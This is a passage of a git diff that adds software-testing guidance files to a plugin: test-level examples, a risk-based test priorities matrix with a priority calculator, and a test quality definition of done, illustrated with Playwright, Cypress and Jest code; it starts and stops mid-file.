+    expect(createdUser.email).toBe(userData.email);
+    expect(createdUser.role).toBe('admin');
+
+    // Verify database state
+    const getResponse = await request.get(`/api/users/${createdUser.id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const fetchedUser = await getResponse.json();
+    expect(fetchedUser.role).toBe('admin');
+    expect(fetchedUser.permissions).toContain('user:delete');
+    expect(fetchedUser.permissions).toContain('user:update');
+
+    // Cleanup
+    await request.delete(`/api/users/${createdUser.id}`);
+  });
+
+  test('should validate email uniqueness constraint', async ({ request }) => {
+    const userData = createUser({ email: 'duplicate@example.com' });
+
+    // Create first user
+    const response1 = await request.post('/api/users', { data: userData });
+    expect(response1.status()).toBe(201);
+
+    const user1 = await response1.json();
+
+    // Attempt duplicate email
+    const response2 = await request.post('/api/users', { data: userData });
+    expect(response2.status()).toBe(409); // Conflict
+    const error = await response2.json();
+    expect(error.message).toContain('Email already exists');
+
+    // Cleanup
+    await request.delete(`/api/users/${user1.id}`);
+  });
+});
+```
+
+**Key Points (Integration)**:
+
+- Tests service layer + database interaction
+- No UI involved—pure API validation
+- Business logic focus (role assignment, constraints)
+- Faster than E2E, more realistic than unit tests
+
+### Example 3: Component Test (Isolated UI Component)
+
+**Scenario**: Test button component in isolation with props and user interactions.
+
+```typescript
+// src/components/Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with correct label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick handler when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Disabled" disabled={true} />);
+    cy.get('button').should('be.disabled');
+    cy.get('button').should('have.attr', 'aria-disabled', 'true');
+  });
+
+  it('should show loading spinner when loading', () => {
+    cy.mount(<Button label="Loading" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles correctly', () => {
+    cy.mount(<Button label="Primary" variant="primary" />);
+    cy.get('button').should('have.class', 'btn-primary');
+
+    cy.mount(<Button label="Secondary" variant="secondary" />);
+    cy.get('button').should('have.class', 'btn-secondary');
+  });
+});
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick handler when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points (Component)**:
+
+- Tests UI component in isolation (no full app)
+- Props + user interactions + visual states
+- Faster than E2E, more realistic than unit tests for UI
+- Great for design system components
+
+### Example 4: Unit Test (Pure Function)
+
+**Scenario**: Test pure business logic function without framework dependencies.
+
+```typescript
+// src/utils/price-calculator.test.ts (Jest/Vitest)
+import { calculateDiscount, applyTaxes, calculateTotal } from './price-calculator';
+
+describe('PriceCalculator', () => {
+  describe('calculateDiscount', () => {
+    it('should apply percentage discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'percentage', value: 20 });
+      expect(result).toBe(80);
+    });
+
+    it('should apply fixed amount discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'fixed', value: 15 });
+      expect(result).toBe(85);
+    });
+
+    it('should not apply discount below zero', () => {
+      const result = calculateDiscount(10, { type: 'fixed', value: 20 });
+      expect(result).toBe(0);
+    });
+
+    it('should handle no discount', () => {
+      const result = calculateDiscount(100, { type: 'none', value: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('applyTaxes', () => {
+    it('should calculate tax correctly for US', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0.08 });
+      expect(result).toBe(108);
+    });
+
+    it('should calculate tax correctly for EU (VAT)', () => {
+      const result = applyTaxes(100, { country: 'DE', rate: 0.19 });
+      expect(result).toBe(119);
+    });
+
+    it('should handle zero tax rate', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('calculateTotal', () => {
+    it('should calculate total with discount and taxes', () => {
+      const items = [
+        { price: 50, quantity: 2 }, // 100
+        { price: 30, quantity: 1 }, // 30
+      ];
+      const discount = { type: 'percentage', value: 10 }; // -13
+      const tax = { country: 'US', rate: 0.08 }; // +9.36
+
+      const result = calculateTotal(items, discount, tax);
+      expect(result).toBeCloseTo(126.36, 2);
+    });
+
+    it('should handle empty items array', () => {
+      const result = calculateTotal([], { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(0);
+    });
+
+    it('should calculate correctly without discount or tax', () => {
+      const items = [{ price: 25, quantity: 4 }];
+      const result = calculateTotal(items, { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+});
+```
+
+**Key Points (Unit)**:
+
+- Pure function testing—no framework dependencies
+- Fast execution (milliseconds)
+- Edge case coverage (zero, negative, empty inputs)
+- High cyclomatic complexity handled at unit level
+
+## When to Use Which Level
+
+| Scenario               | Unit          | Integration       | E2E           |
+| ---------------------- | ------------- | ----------------- | ------------- |
+| Pure business logic    | ✅ Primary    | ❌ Overkill       | ❌ Overkill   |
+| Database operations    | ❌ Can't test | ✅ Primary        | ❌ Overkill   |
+| API contracts          | ❌ Can't test | ✅ Primary        | ⚠️ Supplement |
+| User journeys          | ❌ Can't test | ❌ Can't test     | ✅ Primary    |
+| Component props/events | ✅ Partial    | ⚠️ Component test | ❌ Overkill   |
+| Visual regression      | ❌ Can't test | ⚠️ Component test | ✅ Primary    |
+| Error handling (logic) | ✅ Primary    | ⚠️ Integration    | ❌ Overkill   |
+| Error handling (UI)    | ❌ Partial    | ⚠️ Component test | ✅ Primary    |
+
+## Anti-Pattern Examples
+
+**❌ BAD: E2E test for business logic**
+
+```typescript
+// DON'T DO THIS
+test('calculate discount via UI', async ({ page }) => {
+  await page.goto('/calculator');
+  await page.fill('[data-testid="price"]', '100');
+  await page.fill('[data-testid="discount"]', '20');
+  await page.click('[data-testid="calculate"]');
+  await expect(page.getByText('$80')).toBeVisible();
+});
+// Problem: Slow, brittle, tests logic that should be unit tested
+```
+
+**✅ GOOD: Unit test for business logic**
+
+```typescript
+test('calculate discount', () => {
+  expect(calculateDiscount(100, 20)).toBe(80);
+});
+// Fast, reliable, isolated
+```
+
+_Source: Murat Testing Philosophy (test pyramid), existing test-levels-framework.md structure._
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-priorities-matrix.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-priorities-matrix.md
new file mode 100644
index 0000000..deb4306
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-priorities-matrix.md
@@ -0,0 +1,373 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Priorities Matrix
+
+Guide for prioritizing test scenarios based on risk, criticality, and business impact.
+
+## Priority Levels
+
+### P0 - Critical (Must Test)
+
+**Criteria:**
+
+- Revenue-impacting functionality
+- Security-critical paths
+- Data integrity operations
+- Regulatory compliance requirements
+- Previously broken functionality (regression prevention)
+
+**Examples:**
+
+- Payment processing
+- Authentication/authorization
+- User data creation/deletion
+- Financial calculations
+- GDPR/privacy compliance
+
+**Testing Requirements:**
+
+- Comprehensive coverage at all levels
+- Both happy and unhappy paths
+- Edge cases and error scenarios
+- Performance under load
+
+### P1 - High (Should Test)
+
+**Criteria:**
+
+- Core user journeys
+- Frequently used features
+- Features with complex logic
+- Integration points between systems
+- Features affecting user experience
+
+**Examples:**
+
+- User registration flow
+- Search functionality
+- Data import/export
+- Notification systems
+- Dashboard displays
+
+**Testing Requirements:**
+
+- Primary happy paths required
+- Key error scenarios
+- Critical edge cases
+- Basic performance validation
+
+### P2 - Medium (Nice to Test)
+
+**Criteria:**
+
+- Secondary features
+- Admin functionality
+- Reporting features
+- Configuration options
+- UI polish and aesthetics
+
+**Examples:**
+
+- Admin settings panels
+- Report generation
+- Theme customization
+- Help documentation
+- Analytics tracking
+
+**Testing Requirements:**
+
+- Happy path coverage
+- Basic error handling
+- Can defer edge cases
+
+### P3 - Low (Test if Time Permits)
+
+**Criteria:**
+
+- Rarely used features
+- Nice-to-have functionality
+- Cosmetic issues
+- Non-critical optimizations
+
+**Examples:**
+
+- Advanced preferences
+- Legacy feature support
+- Experimental features
+- Debug utilities
+
+**Testing Requirements:**
+
+- Smoke tests only
+- Can rely on manual testing
+- Document known limitations
+
+## Risk-Based Priority Adjustments
+
+### Increase Priority When:
+
+- High user impact (affects >50% of users)
+- High financial impact (>$10K potential loss)
+- Security vulnerability potential
+- Compliance/legal requirements
+- Customer-reported issues
+- Complex implementation (>500 LOC)
+- Multiple system dependencies
+
+### Decrease Priority When:
+
+- Feature flag protected
+- Gradual rollout planned
+- Strong monitoring in place
+- Easy rollback capability
+- Low usage metrics
+- Simple implementation
+- Well-isolated component
+
+## Test Coverage by Priority
+
+| Priority | Unit Coverage | Integration Coverage | E2E Coverage       |
+| -------- | ------------- | -------------------- | ------------------ |
+| P0       | >90%          | >80%                 | All critical paths |
+| P1       | >80%          | >60%                 | Main happy paths   |
+| P2       | >60%          | >40%                 | Smoke tests        |
+| P3       | Best effort   | Best effort          | Manual only        |
+
+## Priority Assignment Rules
+
+1. **Start with business impact** - What happens if this fails?
+2. **Consider probability** - How likely is failure?
+3. **Factor in detectability** - Would we know if it failed?
+4. **Account for recoverability** - Can we fix it quickly?
+
+## Priority Decision Tree
+
+```
+Is it revenue-critical?
+├─ YES → P0
+└─ NO → Does it affect core user journey?
+    ├─ YES → Is it high-risk?
+    │   ├─ YES → P0
+    │   └─ NO → P1
+    └─ NO → Is it frequently used?
+        ├─ YES → P1
+        └─ NO → Is it customer-facing?
+            ├─ YES → P2
+            └─ NO → P3
+```
+
+## Test Execution Order
+
+1. Execute P0 tests first (fail fast on critical issues)
+2. Execute P1 tests second (core functionality)
+3. Execute P2 tests if time permits
+4. P3 tests only in full regression cycles
+
+## Continuous Adjustment
+
+Review and adjust priorities based on:
+
+- Production incident patterns
+- User feedback and complaints
+- Usage analytics
+- Test failure history
+- Business priority changes
+
+---
+
+## Automated Priority Classification
+
+### Example: Priority Calculator (Risk-Based Automation)
+
+```typescript
+// src/testing/priority-calculator.ts
+
+export type Priority = 'P0' | 'P1' | 'P2' | 'P3';
+
+export type PriorityFactors = {
+  revenueImpact: 'critical' | 'high' | 'medium' | 'low' | 'none';
+  userImpact: 'all' | 'majority' | 'some' | 'few' | 'minimal';
+  securityRisk: boolean;
+  complianceRequired: boolean;
+  previousFailure: boolean;
+  complexity: 'high' | 'medium' | 'low';
+  usage: 'frequent' | 'regular' | 'occasional' | 'rare';
+};
+
+/**
+ * Calculate test priority based on multiple factors
+ * Mirrors the priority decision tree with objective criteria
+ */
+export function calculatePriority(factors: PriorityFactors): Priority {
+  const { revenueImpact, userImpact, securityRisk, complianceRequired, previousFailure, complexity, usage } = factors;
+
+  // P0: Revenue-critical, security, or compliance
+  if (revenueImpact === 'critical' || securityRisk || complianceRequired || (previousFailure && revenueImpact === 'high')) {
+    return 'P0';
+  }
+
+  // P0: High revenue + high complexity + frequent usage
+  if (revenueImpact === 'high' && complexity === 'high' && usage === 'frequent') {
+    return 'P0';
+  }
+
+  // P1: Core user journey (majority impacted + frequent usage)
+  if (userImpact === 'all' || userImpact === 'majority') {
+    if (usage === 'frequent' || complexity === 'high') {
+      return 'P1';
+    }
+  }
+
+  // P1: High revenue OR high complexity with regular usage
+  if ((revenueImpact === 'high' && usage === 'regular') || (complexity === 'high' && usage === 'frequent')) {
+    return 'P1';
+  }
+
+  // P2: Secondary features (some impact, occasional usage)
+  if (userImpact === 'some' || usage === 'occasional') {
+    return 'P2';
+  }
+
+  // P3: Rarely used, low impact
+  return 'P3';
+}
+
+/**
+ * Generate priority justification (for audit trail)
+ */
+export function justifyPriority(factors: PriorityFactors): string {
+  const priority = calculatePriority(factors);
+  const reasons: string[] = [];
+
+  if (factors.revenueImpact === 'critical') reasons.push('critical revenue impact');
+  if (factors.securityRisk) reasons.push('security-critical');
+  if (factors.complianceRequired) reasons.push('compliance requirement');
+  if (factors.previousFailure) reasons.push('regression prevention');
+  if (factors.userImpact === 'all' || factors.userImpact === 'majority') {
+    reasons.push(`impacts ${factors.userImpact} users`);
+  }
+  if (factors.complexity === 'high') reasons.push('high complexity');
+  if (factors.usage === 'frequent') reasons.push('frequently used');
+
+  return `${priority}: ${reasons.join(', ')}`;
+}
+
+/**
+ * Example: Payment scenario priority calculation
+ */
+const paymentScenario: PriorityFactors = {
+  revenueImpact: 'critical',
+  userImpact: 'all',
+  securityRisk: true,
+  complianceRequired: true,
+  previousFailure: false,
+  complexity: 'high',
+  usage: 'frequent',
+};
+
+console.log(calculatePriority(paymentScenario)); // 'P0'
+console.log(justifyPriority(paymentScenario));
+// 'P0: critical revenue impact, security-critical, compliance requirement, impacts all users, high complexity, frequently used'
+```
+
+### Example: Test Suite Tagging Strategy
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+// Tag tests with priority for selective execution
+test.describe('Checkout Flow', () => {
+  test('valid payment completes successfully @p0 @smoke @revenue', async ({ page }) => {
+    // P0: Revenue-critical happy path
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Order confirmed')).toBeVisible();
+  });
+
+  test('expired card shows user-friendly error @p1 @error-handling', async ({ page }) => {
+    // P1: Core error scenario (frequent user impact)
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4000000000000069'); // Test card: expired
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Card expired. Please use a different card.')).toBeVisible();
+  });
+
+  test('coupon code applies discount correctly @p2', async ({ page }) => {
+    // P2: Secondary feature (nice-to-have)
+    await page.goto('/checkout');
+    await page.getByTestId('coupon-code').fill('SAVE10');
+    await page.getByRole('button', { name: 'Apply' }).click();
+
+    await expect(page.getByText('10% discount applied')).toBeVisible();
+  });
+
+  test('gift message formatting preserved @p3', async ({ page }) => {
+    // P3: Cosmetic feature (rarely used)
+    await page.goto('/checkout');
+    await page.getByTestId('gift-message').fill('Happy Birthday!\n\nWith love.');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Message formatting preserved (linebreaks intact)
+    await expect(page.getByTestId('order-summary')).toContainText('Happy Birthday!');
+  });
+});
+```
+
+**Run tests by priority:**
+
+```bash
+# P0 only (smoke tests, 2-5 min)
+npx playwright test --grep @p0
+
+# P0 + P1 (core functionality, 10-15 min)
+npx playwright test --grep "@p0|@p1"
+
+# Full regression (all priorities, 30+ min)
+npx playwright test
+```
+
+---
+
+## Integration with Risk Scoring
+
+Priority should align with risk score from `probability-impact.md`:
+
+| Risk Score | Typical Priority | Rationale                                  |
+| ---------- | ---------------- | ------------------------------------------ |
+| 9          | P0               | Critical blocker (probability=3, impact=3) |
+| 6-8        | P0 or P1         | High risk (requires mitigation)            |
+| 4-5        | P1 or P2         | Medium risk (monitor closely)              |
+| 1-3        | P2 or P3         | Low risk (document and defer)              |
+
+**Example**: Risk score 9 (checkout API failure) → P0 priority → comprehensive coverage required.
+
+---
+
+## Priority Checklist
+
+Before finalizing test priorities:
+
+- [ ] **Revenue impact assessed**: Payment, subscription, billing features → P0
+- [ ] **Security risks identified**: Auth, data exposure, injection attacks → P0
+- [ ] **Compliance requirements documented**: GDPR, PCI-DSS, SOC2 → P0
+- [ ] **User impact quantified**: >50% users → P0/P1, <10% → P2/P3
+- [ ] **Previous failures reviewed**: Regression prevention → increase priority
+- [ ] **Complexity evaluated**: >500 LOC or multiple dependencies → increase priority
+- [ ] **Usage metrics consulted**: Frequent use → P0/P1, rare use → P2/P3
+- [ ] **Monitoring coverage confirmed**: Strong monitoring → can decrease priority
+- [ ] **Rollback capability verified**: Easy rollback → can decrease priority
+- [ ] **Priorities tagged in tests**: @p0, @p1, @p2, @p3 for selective execution
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (priority-based test generation), `*test-design` (scenario prioritization), `*trace` (coverage validation by priority)
+- **Related fragments**: `risk-governance.md` (risk scoring), `probability-impact.md` (impact assessment), `selective-testing.md` (tag-based execution)
+- **Tools**: Playwright/Cypress grep for tag filtering, CI scripts for priority-based execution
+
+_Source: Risk-based testing practices, test prioritization strategies, production incident analysis_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-quality.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-quality.md
new file mode 100644
index 0000000..ab62d91
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-quality.md
@@ -0,0 +1,664 @@
+# Test Quality Definition of Done
+
+## Principle
+
+Tests must be deterministic, isolated, explicit, focused, and fast. Every test should execute in under 1.5 minutes, contain fewer than 300 lines, avoid hard waits and conditionals, keep assertions visible in test bodies, and clean up after itself for parallel execution.
+
+## Rationale
+
+Quality tests provide reliable signal about application health. Flaky tests erode confidence and waste engineering time. Tests that use hard waits (`waitForTimeout(3000)`) are non-deterministic and slow. Tests with hidden assertions or conditional logic become unmaintainable. Large tests (>300 lines) are hard to understand and debug. Slow tests (>1.5 min) block CI pipelines. Self-cleaning tests prevent state pollution in parallel runs.
+
+## Pattern Examples
+
+### Example 1: Deterministic Test Pattern
+
+**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Non-deterministic test with conditionals and hard waits
+test('user can view dashboard - FLAKY', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // NEVER - arbitrary wait
+
+  // Conditional flow control - test behavior varies
+  if (await page.locator('[data-testid="welcome-banner"]').isVisible()) {
+    await page.click('[data-testid="dismiss-banner"]');
+    await page.waitForTimeout(500);
+  }
+
+  // Try-catch for flow control - hides real issues
+  try {
+    await page.click('[data-testid="load-more"]');
+  } catch (e) {
+    // Silently continue - test passes even if button missing
+  }
+
+  // Random data without control
+  const randomEmail = `user${Math.random()}@example.com`;
+  await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly
+});
+
+// ✅ GOOD: Deterministic test with explicit waits
+test('user can view dashboard', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+  // Setup via API (fast, controlled)
+  await apiRequest.post('/api/users', { data: user });
+
+  // Network-first: Intercept BEFORE navigate
+  const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+
+  // Wait for actual response, not arbitrary time
+  const dashboardResponse = await dashboardPromise;
+  const dashboard = await dashboardResponse.json();
+
+  // Explicit assertions with controlled data
+  await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+  await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length);
+
+  // No conditionals - test always executes same path
+  // No try-catch - failures bubble up clearly
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display user dashboard', () => {
+    const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+    // Setup via task (fast, controlled)
+    cy.task('db:seed', { users: [user] });
+
+    // Network-first interception
+    cy.intercept('GET', '**/api/dashboard').as('getDashboard');
+
+    cy.visit('/dashboard');
+
+    // Deterministic wait for response
+    cy.wait('@getDashboard').then((interception) => {
+      const dashboard = interception.response.body;
+
+      // Explicit assertions
+      cy.contains(`Welcome, ${user.name}`).should('be.visible');
+      cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Replace `waitForTimeout()` with `waitForResponse()` or element state checks
+- Never use if/else to control test flow - tests should be deterministic
+- Avoid try-catch for flow control - let failures bubble up clearly
+- Use factory functions with controlled data, not `Math.random()`
+- Network-first pattern prevents race conditions
+
+### Example 2: Isolated Test with Cleanup
+
+**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs. Use fixture auto-cleanup or explicit teardown.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Test leaves data behind, pollutes other tests
+test('admin can create user - POLLUTES STATE', async ({ page, apiRequest }) => {
+  await page.goto('/admin/users');
+
+  // Hardcoded email - collides in parallel runs
+  await page.fill('[data-testid="email"]', 'newuser@example.com');
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // NO CLEANUP - user remains in database
+  // Next test run fails: "Email already exists"
+});
+
+// ✅ GOOD: Test cleans up with fixture auto-cleanup
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { deleteRecord, seedDatabase } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id); // Track for cleanup
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+});
+
+// Use the fixture
+test('admin can create user', async ({ page, seedUser }) => {
+  // Create admin with unique data
+  const admin = await seedUser({
+    email: faker.internet.email(), // Unique each run
+    role: 'admin',
+  });
+
+  await page.goto('/admin/users');
+
+  const newUserEmail = faker.internet.email(); // Unique
+  await page.fill('[data-testid="email"]', newUserEmail);
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // Verify in database
+  const createdUser = await seedUser({ email: newUserEmail });
+  expect(createdUser.email).toBe(newUserEmail);
+
+  // Auto-cleanup happens via fixture teardown
+});
+
+// Cypress equivalent with explicit cleanup
+describe('Admin User Management', () => {
+  const createdUserIds: string[] = [];
+
+  afterEach(() => {
+    // Cleanup: Delete all users created during test
+    createdUserIds.forEach((userId) => {
+      cy.task('db:delete', { table: 'users', id: userId });
+    });
+    createdUserIds.length = 0;
+  });
+
+  it('should create user', () => {
+    const admin = createUser({ role: 'admin' });
+    const newUser = createUser(); // Unique data via faker
+
+    cy.task('db:seed', { users: [admin] }).then((result: any) => {
+      createdUserIds.push(result.users[0].id);
+    });
+
+    cy.visit('/admin/users');
+    cy.get('[data-cy="email"]').type(newUser.email);
+    cy.get('[data-cy="name"]').type(newUser.name);
+    cy.get('[data-cy="create-user"]').click();
+
+    cy.contains('User created').should('be.visible');
+
+    // Track for cleanup
+    cy.task('db:findByEmail', newUser.email).then((user: any) => {
+      createdUserIds.push(user.id);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Use fixtures with auto-cleanup via teardown (after `use()`)
+- Track all created resources in array during test execution
+- Use `faker` for unique data - prevents parallel collisions
+- Cypress: Use `afterEach()` with explicit cleanup
+- Never hardcode IDs or emails - always generate unique values
+
+### Example 3: Explicit Assertions in Tests
+
+**Context**: When validating test results, keep assertions visible in test bodies. Never hide assertions in helper functions - this obscures test intent and makes failures harder to diagnose.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Assertions hidden in helper functions
+// helpers/api-validators.ts
+export async function validateUserCreation(response: Response, expectedEmail: string) {
+  const user = await response.json();
+  expect(response.status()).toBe(201);
+  expect(user.email).toBe(expectedEmail);
+  expect(user.id).toBeTruthy();
+  expect(user.createdAt).toBeTruthy();
+  // Hidden assertions - not visible in test
+}
+
+test('create user via API - OPAQUE', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // What assertions are running? Have to check helper.
+  await validateUserCreation(response, userData.email);
+  // When this fails, error is: "validateUserCreation failed" - NOT helpful
+});
+
+// ✅ GOOD: Assertions explicit in test
+test('create user via API', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // All assertions visible - clear test intent
+  expect(response.status()).toBe(201);
+
+  const createdUser = await response.json();
+  expect(createdUser.id).toBeTruthy();
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.name).toBe(userData.name);
+  expect(createdUser.role).toBe('user');
+  expect(createdUser.createdAt).toBeTruthy();
+  expect(createdUser.isActive).toBe(true);
+
+  // When this fails, error is: "Expected role to be 'user', got 'admin'" - HELPFUL
+});
+
+// ✅ ACCEPTABLE: Helper for data extraction, NOT assertions
+// helpers/api-extractors.ts
+export async function extractUserFromResponse(response: Response): Promise<User> {
+  const user = await response.json();
+  return user; // Just extracts, no assertions
+}
+
+test('create user with extraction helper', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // Extract data with helper (OK)
+  const createdUser = await extractUserFromResponse(response);
+
+  // But keep assertions in test (REQUIRED)
+  expect(response.status()).toBe(201);
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.role).toBe('user');
+});
+
+// Cypress equivalent
+describe('User API', () => {
+  it('should create user with explicit assertions', () => {
+    const userData = createUser({ email: 'test@example.com' });
+
+    cy.request('POST', '/api/users', userData).then((response) => {
+      // All assertions visible in test
+      expect(response.status).to.equal(201);
+      expect(response.body.id).to.exist;
+      expect(response.body.email).to.equal(userData.email);
+      expect(response.body.name).to.equal(userData.name);
+      expect(response.body.role).to.equal('user');
+      expect(response.body.createdAt).to.exist;
+      expect(response.body.isActive).to.be.true;
+    });
+  });
+});
+
+// ✅ GOOD: Parametrized tests for soft assertions (bulk validation)
+test.describe('User creation validation', () => {
+  const testCases = [
+    { field: 'email', value: 'test@example.com', expected: 'test@example.com' },
+    { field: 'name', value: 'Test User', expected: 'Test User' },
+    { field: 'role', value: 'admin', expected: 'admin' },
+    { field: 'isActive', value: true, expected: true },
+  ];
+
+  for (const { field, value, expected } of testCases) {
+    test(`should set ${field} correctly`, async ({ request }) => {
+      const userData = createUser({ [field]: value });
+
+      const response = await request.post('/api/users', { data: userData });
+      const user = await response.json();
+
+      // Parametrized assertion - still explicit
+      expect(user[field]).toBe(expected);
+    });
+  }
+});
+```
+
+**Key Points**:
+
+- Never hide `expect()` calls in helper functions
+- Helpers can extract/transform data, but assertions stay in tests
+- Parametrized tests are acceptable for bulk validation (still explicit)
+- Explicit assertions make failures actionable: "Expected X, got Y"
+- Hidden assertions produce vague failures: "Helper function failed"
+
+### Example 4: Test Length Limits
+
+**Context**: When tests grow beyond 300 lines, they become hard to understand, debug, and maintain. Refactor long tests by extracting setup helpers, splitting scenarios, or using fixtures.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 400-line monolithic test (truncated for example)
+test('complete user journey - TOO LONG', async ({ page, request }) => {
+  // 50 lines of setup
+  const admin = createUser({ role: 'admin' });
+  await request.post('/api/users', { data: admin });
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+  await expect(page).toHaveURL('/dashboard');
+
+  // 100 lines of user creation
+  await page.goto('/admin/users');
+  const newUser = createUser();
+  await page.fill('[data-testid="email"]', newUser.email);
+  // ... 95 more lines of form filling, validation, etc.
+
+  // 100 lines of permissions assignment
+  await page.click('[data-testid="assign-permissions"]');
+  // ... 95 more lines
+
+  // 100 lines of notification preferences
+  await page.click('[data-testid="notification-settings"]');
+  // ... 95 more lines
+
+  // 50 lines of cleanup
+  await request.delete(`/api/users/${newUser.id}`);
+  // ... 45 more lines
+
+  // TOTAL: 400 lines - impossible to understand or debug
+});
+
+// ✅ GOOD: Split into focused tests with shared fixture
+// playwright/support/fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page, request }, use) => {
+    // Shared setup: Login as admin
+    const admin = createUser({ role: 'admin' });
+    await request.post('/api/users', { data: admin });
+
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', admin.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login"]');
+    await expect(page).toHaveURL('/dashboard');
+
+    await use(page); // Provide logged-in page
+
+    // Cleanup handled by fixture
+  },
+});
+
+// Test 1: User creation (50 lines)
+test('admin can create user', async ({ adminPage, seedUser }) => {
+  await adminPage.goto('/admin/users');
+
+  const newUser = createUser();
+  await adminPage.fill('[data-testid="email"]', newUser.email);
+  await adminPage.fill('[data-testid="name"]', newUser.name);
+  await adminPage.click('[data-testid="role-dropdown"]');
+  await adminPage.click('[data-testid="role-user"]');
+  await adminPage.click('[data-testid="create-user"]');
+
+  await expect(adminPage.getByText('User created')).toBeVisible();
+  await expect(adminPage.getByText(newUser.email)).toBeVisible();
+
+  // Verify in database
+  const created = await seedUser({ email: newUser.email });
+  expect(created.role).toBe('user');
+});
+
+// Test 2: Permission assignment (60 lines)
+test('admin can assign permissions', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
